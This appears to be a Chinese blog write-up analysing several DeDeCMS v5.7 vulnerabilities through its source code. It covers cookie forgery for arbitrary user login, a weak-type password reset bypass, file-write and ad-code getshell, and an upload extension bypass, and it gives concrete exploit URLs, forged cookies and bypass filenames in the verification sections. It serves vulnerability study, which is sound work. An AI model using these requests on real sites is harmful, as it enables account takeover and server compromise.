• DeDeCMS-v5.7-漏洞分析


    DeDeCMS-v5.7-漏洞分析

    cookie伪造导致任意前台用户登录

    问题文件:/member/index.php

    0×01 漏洞分析

    在125-166行代码中,用于更新最近访客记录及站点统计记录的代码,当满足$vtime – $last_vtime > 3600 || !preg_match(‘#,’.$uid.’,#i’, ‘,’.$last_vid.’,')的时候且$last_vid的值为空的时候,会令$last_vid = $uid,然后在第164行中使用PutCookie(‘last_vid’, $last_vid, 3600*24, ‘/’);将cookie下发的客户端。

    image-20200909095739053

    dede在/include/common.inc.php中的第108-117行中,使用的外部变量注册的方法进行变量声明,因此此处的$uid是用户可控的位置。

        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
    	CheckRequest($_COOKIE);
    
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
    		{
    			if($_k == 'nvarname') ${$_k} = $_v;
    			else ${$_k} = _RunMagicQuotes($_v);
    		}
        }
    }
    

    跟入PutCookie方法,/include/helpers/cookie.helper.php中的第21-29行中,发现该方法,在该方法中的第27行中将值与配置文件中的$cfg_cookie_encode进行拼接,然后进行MD5和截断处理substr(md5($cfg_cookie_encode.$value),0,16),然后下发到客户端。

    /**
     *  设置Cookie记录
     *
     * @param     string  $key    键
     * @param     string  $value  值
     * @param     string  $kptime  保持时间
     * @param     string  $pa     保存路径
     * @return    void
     */
    if ( ! function_exists('PutCookie'))
    {
        function PutCookie($key, $value, $kptime=0, $pa="/")
        {
            global $cfg_cookie_encode,$cfg_domain_cookie;
            setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
            setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
        }
    }
    

    而在文件/include/helpers/cookie.helper.php中的第54-75行中发现GetCookie方法的代码块,其中第65行用于校验客户端cookie是否进行了伪造,因此要进行cookie就自然想到要获取/data/config.cache.inc.php文件中的内容,需要存在任意文件读取或下载的漏洞,当然还有另外一种方式,就是利用用户第一次登录时候下发cookie的方法(PutCookie)直接生成cookie,这样的cookie定会通过cookie校验的方法(GetCookie)。

    **
     *  获取Cookie记录
     *
     * @param     $key   键名
     * @return    string
     */
    if ( ! function_exists('GetCookie'))
    {
        function GetCookie($key)
        {
            global $cfg_cookie_encode;
            if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
            {
                return '';
            }
            else
            {
                if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
                {
                    return '';
                }
                else
                {
                    return $_COOKIE[$key];
                }
            }
        }
    }
    

    接下来需要查看登录位置的代码块,知晓登录时候cookie的生成规则是否是PutCookie,在文件/include/memberlogin.class.php中输入合规的loginuser和loginpwd便会执行PutLoginInfo。

           //matt=10 是管理员关连的前台帐号,为了安全起见,这个帐号只能从后台登录,不能直接从前台登录
            $row = $dsql->GetOne("SELECT mid,matt,pwd,logintime FROM `#@__member` WHERE userid LIKE '$loginuser' ");
            if(is_array($row))
            {
                if($this->GetShortPwd($row['pwd']) != $this->GetEncodePwd($loginpwd))
                {
                    return -1;
                }
                else
                {
                    //管理员帐号不允许从前台登录
                    if($row['matt']==10) {
                        return -2;
                    }
                    else {
                        $this->PutLoginInfo($row['mid'], $row['logintime']);
                        return 1;
                    }
                }
            }
            else
            {
                return 0;
            }
    

    跟入PutLoginInfo方法,在文件/include/memberlogin.class.php中的第517-540行中发现了该方法的代码块,且在第531-539行中使用了PutCookie下发cookie。因此存在cookie的伪造漏洞。

        /**
         *  保存用户cookie
         *
         * @access    public
         * @param     string  $uid  用户ID
         * @param     string  $logintime  登录限制时间
         * @return    void
         */
        function PutLoginInfo($uid, $logintime=0)
        {
            global $cfg_login_adds, $dsql;
            //登录增加积分(上一次登录时间必须大于两小时)
            if(time() - $logintime > 7200 && $cfg_login_adds > 0)
            {
                $dsql->ExecuteNoneQuery("Update `#@__member` set `scores`=`scores`+{$cfg_login_adds} where mid='$uid' ");
            }
            $this->M_ID = $uid;
            $this->M_LoginTime = time();
            $loginip = GetIP();
            $inquery = "UPDATE `#@__member` SET loginip='$loginip',logintime='".$this->M_LoginTime."' WHERE mid='".$uid."'";
            $dsql->ExecuteNoneQuery($inquery);
            if($this->M_KeepTime > 0)
            {
                PutCookie('DedeUserID',$uid,$this->M_KeepTime);
                PutCookie('DedeLoginTime',$this->M_LoginTime,$this->M_KeepTime);
            }
            else
            {
                PutCookie('DedeUserID',$uid);
                PutCookie('DedeLoginTime',$this->M_LoginTime);
            }
        }
    

    跟入检测登录状态的代码,在文件/include/memberlogin.class.php的第160-241行发现代码块,其中第170行检测cookie中的DedeUserID参数的值,合规在第185行中,传入数据库查询获得结果后,把结果展示在页面上。

           $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
            $this->M_LoginTime = GetCookie("DedeLoginTime");
            $this->fields = array();
            $this->isAdmin = FALSE;
            if(empty($this->M_ID))
            {
                $this->ResetUser();
            }else{
                $this->M_ID = intval($this->M_ID);
                
                if ($cache)
                {
                    $this->fields = GetCache($this->memberCache, $this->M_ID);
                    if( empty($this->fields) )
                    {
                        $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
                    } else {
                        $formcache = TRUE;
                    }
                } else {
                    $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
                }
    

    0x02 验证漏洞

    访问链接获取伪造的cookie

    http://127.0.0.1:9999/DedeCMS-v5.7/member/index.php?uid=user1

    image-20200909103023212

    使用user1账号登录。

    image-20200909103213671

    将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5修改后的cookie。页面刷新后跳转到admin用户中。

    image-20200909103446009

    任意修改前台用户密码

    0x01 漏洞分析

    member esetpassword.ph文件中的第96-95行,其中$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer代码是问题的关键,默认$row['safequestion']在数据中的内容为0,$row['safeanswer']在数据库中的结果为空,且变量$safeanswer与$safequestion是用户可控制的变量,又使用了 ==进行判断, 因此该判断规则存在弱类型问题。
    if(empty($safequestion)) $safequestion = ”;语句中,要使empty($safequestion) 为false且$row['safequestion'] == $safequestion为true,可以使用字符型的0.0,进行绕过。

    image-20200917101211090

    绕过后会进入sn的方法,跟入sn方法,在memberincinc_pwd_functions.php文件中第150-172行发现代码块,且该方法会调用newmail方法。

    image-20200917101441564

    跟入newmail方法,在memberincinc_pwd_functions.php文件中第73-123行中发现代码块,然后当传入的$send为N的时候便会下发重置密码的链接,进行密码修改操作。

    image-20200917101537995

    0x02 验证漏洞

    先进行如下请求获取key

    /member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

    image-20200917101805707

    key=tjDTYJqZ,获取到的key值是随机的

    然后点击跳转链接便可以重置密码

    http://192.168.1.2/dedecms-v5.7/member/resetpassword.php?dopost=getpasswd&id=1&key=tjDTYJqZ

    image-20200917101916004

    后台文件上传+文件包含getshell

    0x01 漏洞分析

    漏洞代码文件dede pl.php

    /*---------------------------
    function savetagfile() { }
    保存标签碎片修改
    --------------------------*/
    else if($action=='savetagfile')
    {
        csrf_check();
        if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))
        {
            ShowMsg('文件名不合法,不允许进行操作!', '-1');
            exit();
        }
        require_once(DEDEINC.'/oxwindow.class.php');
        $tagname = preg_replace("#.lib.php$#i", "", $filename);
        $content = stripslashes($content);
        $truefile = DEDEINC.'/taglib/'.$filename;
        $fp = fopen($truefile, 'w');
        fwrite($fp, $content);
        fclose($fp);
    
    }
    

    存在csrf_check()函数,请求中必须要带token参数。

    这里的contentfilename变量可控。在content中直接写u人文件getshell。这里的文件名经过正则表达式,所以必须要.lib.php结尾。

    0x02 验证漏洞

    首先获取token

    访问url:http://192.168.1.2/dedecms-v5.7/dede/tpl.php?action=upload

    image-20200916145619187

    源代码中获取token

    image-20200916145418327

    token值:6d0c1893e01a77e7e6ba24fb2dc7599c

    然后访问url

    http://192.168.1.2/dedecms-v5.7/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[token值]

    http://192.168.1.2/dedecms-v5.7/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=6d0c1893e01a77e7e6ba24fb2dc7599c

    image-20200916145848940

    shell

    http://192.168.1.2/dedecms-v5.7/include/taglib/moonsec.lib.php

    image-20200916150001931

    后台getshell

    0x01 漏洞分析

    ad_add.php文件中没有对输入的参数htmlcode进行过滤,在添加中嵌入恶意代码

    <?php
    /**
     * 广告添加
     *
     * @version        $Id: ad_add.php 1 8:26 2010年7月12日Z tianya $
     * @package        DedeCMS.Administrator
     * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
     * @license        http://help.dedecms.com/usersguide/license.html
     * @link           http://www.dedecms.com
     */
     
    require(dirname(__FILE__)."/config.php");
    CheckPurview('plus_广告管理');
    require_once DEDEINC."/typelink.class.php";
    if(empty($dopost)) $dopost = "";
    
    if($dopost=="save")
    {
        csrf_check();
        //timeset tagname typeid normbody expbody
        $tagname = trim($tagname);
        $row = $dsql->GetOne("SELECT typeid FROM #@__myad WHERE typeid='$typeid' AND tagname LIKE '$tagname'");
        if(is_array($row))
        {
            ShowMsg("在相同栏目下已经存在同名的标记!","-1");
            exit();
        }
        $starttime = GetMkTime($starttime);
        $endtime = GetMkTime($endtime);
        $link = addslashes($normbody['link']);
        if($normbody['style']=='code')
        {
            $normbody = addslashes($normbody['htmlcode']);
        }
        else if($normbody['style']=='txt')
        {
            
            $normbody = "<a href="{$link}" font-size="{$normbody['size']}" color="{$normbody['color']}">{$normbody['title']}</a>";
        }
        else if($normbody['style']=='img')
        {
            if(empty($normbody['width']))
            {
                $width = "";
            }
            else
            {
                $width = " width="{$normbody['width']}"";
            }
            if (empty($normbody['height']))
            {
                $height = "";
            }
            else
            {
                $height = "height="{$normbody['height']}"";
            }
            $normbody = "<a href="{$link}"><img src="{$normbody['url']}"$width $height border="0" /></a>";
        }
        else
        {
            if(empty($normbody['width']))
            {
                $width = "";
            }
            else
            {
                $width = " width="{$normbody['width']}"";
            }
            if (empty($normbody['height']))
            {
                $height = "";
            }
            else
            {
                $height = "height="{$normbody['height']}"";
            }
            $normbody = "<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.Macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0"$width $height><param name="movie" value="{$link}"/><param name="quality" value="high"/></object>";
        }
        $query = "
         INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
         VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
        ";
        $dsql->ExecuteNoneQuery($query);
        ShowMsg("成功增加一个广告!","ad_main.php");
        exit();
    }
    $dsql->Execute('dd','SELECT * FROM `#@__myadtype` ORDER BY id DESC');
    $option = '';
    while($arr = $dsql->GetArray('dd'))
    {
        $option .= "<option value='{$arr['id']}'>{$arr['typename']}</option>
    
    ";
    }
    $startDay = time();
    $endDay = AddDay($startDay,30);
    $startDay = GetDateTimeMk($startDay);
    $endDay = GetDateTimeMk($endDay);
    include DedeInclude('templets/ad_add.htm');
    

    0x02 漏洞利用

    模块->广告管理->新建广告

    在广告内容中恶意写入代码

    image-20200916153937784

    在数据库中查询到写入的信息

    image-20200916160959743

    查看在调用广告的文件

    可以看到,在ad_js.php文件调用了该条数据

    image-20200916154141870

    查看ad_js.php文件

    <?php
    /**
     *
     * 广告JS调用方式
     *
     * @version        $Id: ad_js.php 1 20:30 2010年7月8日Z tianya $
     * @package        DedeCMS.Site
     * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
     * @license        http://help.dedecms.com/usersguide/license.html
     * @link           http://www.dedecms.com
     */
    require_once(dirname(__FILE__)."/../include/common.inc.php");
    
    if(isset($arcID)) $aid = $arcID;
    $arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
    if($aid==0) die(' Request Error! ');
    
    $cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
    if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
    {
        $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
        $adbody = '';
        if($row['timeset']==0)
        {
            $adbody = $row['normbody'];
        }
        else
        {
            $ntime = time();
            if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
                $adbody = $row['expbody'];
            } else {
                $adbody = $row['normbody'];
            }
        }
        $adbody = str_replace('"', '"',$adbody);
        $adbody = str_replace("
    ", "\r",$adbody);
        $adbody = str_replace("
    ", "\n",$adbody);
        $adbody = "<!--
    document.write("{$adbody}");
    -->
    ";
        $fp = fopen($cacheFile, 'w');
        fwrite($fp, $adbody);
        fclose($fp);
    }
    include $cacheFile;
    

    然后是在网页上中执行了。

    image-20200916160618772

    0x03 其他方式

    进入后台后,通过模块->文件管理器可以实现任意文件操作。这里可以写入shell。

    image-20200917154137625

    后台任意文件上传

    0x01 漏洞分析

    在文件includedialogselect_images_post.php的第35行-40行中,其中36行将文件名中正则匹配到的内容替换为空白,且在38行检索文件名字中是否存在白名单中的文件格式,这两种做法均不是取文件的后缀名来进行判断的,所以存在被绕过的问题。

    image-20200917143905436

    在文件includedialogselect_images_post.php的第57行-64行中,取文件的后缀名进行拼接和上传操作。存在检测方式与上传文件生成方式不一致的问题,导致被绕过.

    image-20200917144104404

    跟入$cfg_imgtypedataconfig.cache.inc.php中的第18行发现了的上传类型格式限制。但是可以使用xxx.jpg.p%php,或xxx.jpg.p*hp等方式绕过,图片的格式满足config.cache.inc.php中的规定即可。

    image-20200917144328226

    0x02 漏洞验证

    利用任意前台用户登录获取管理员,

    PHPSESSID=nk1k8nlbnb5oretcflg7mmuem4; last_vtime=1600325294; last_vtime__ckMd5=a7b4ab604aa23dbd; last_vid=user1; last_vid__ckMd5=3ee7a9d83316984c

    在发表文章页面上传图片

    image-20200917152244430

    抓包

    image-20200917152226335

    修改文件名

    image-20200917152212576

    image-20200917153159407

    image-20200917153354980

  • 相关阅读:
    Java Map遍历方式的选择
    UriMatcher类的addURI()方法
    Java IO流分析整理[转]
    java基础一些注意细节
    java中static变量和方存在内存什么区域
    详细解析Java中抽象类和接口的区别
    mybatis一些记录
    Go语言简介(上)— 语法
    JavaScript相关-深入面向对象
    33个组件5
  • 原文地址:https://www.cnblogs.com/thresh/p/13743219.html
Copyright © 2020-2023  润新知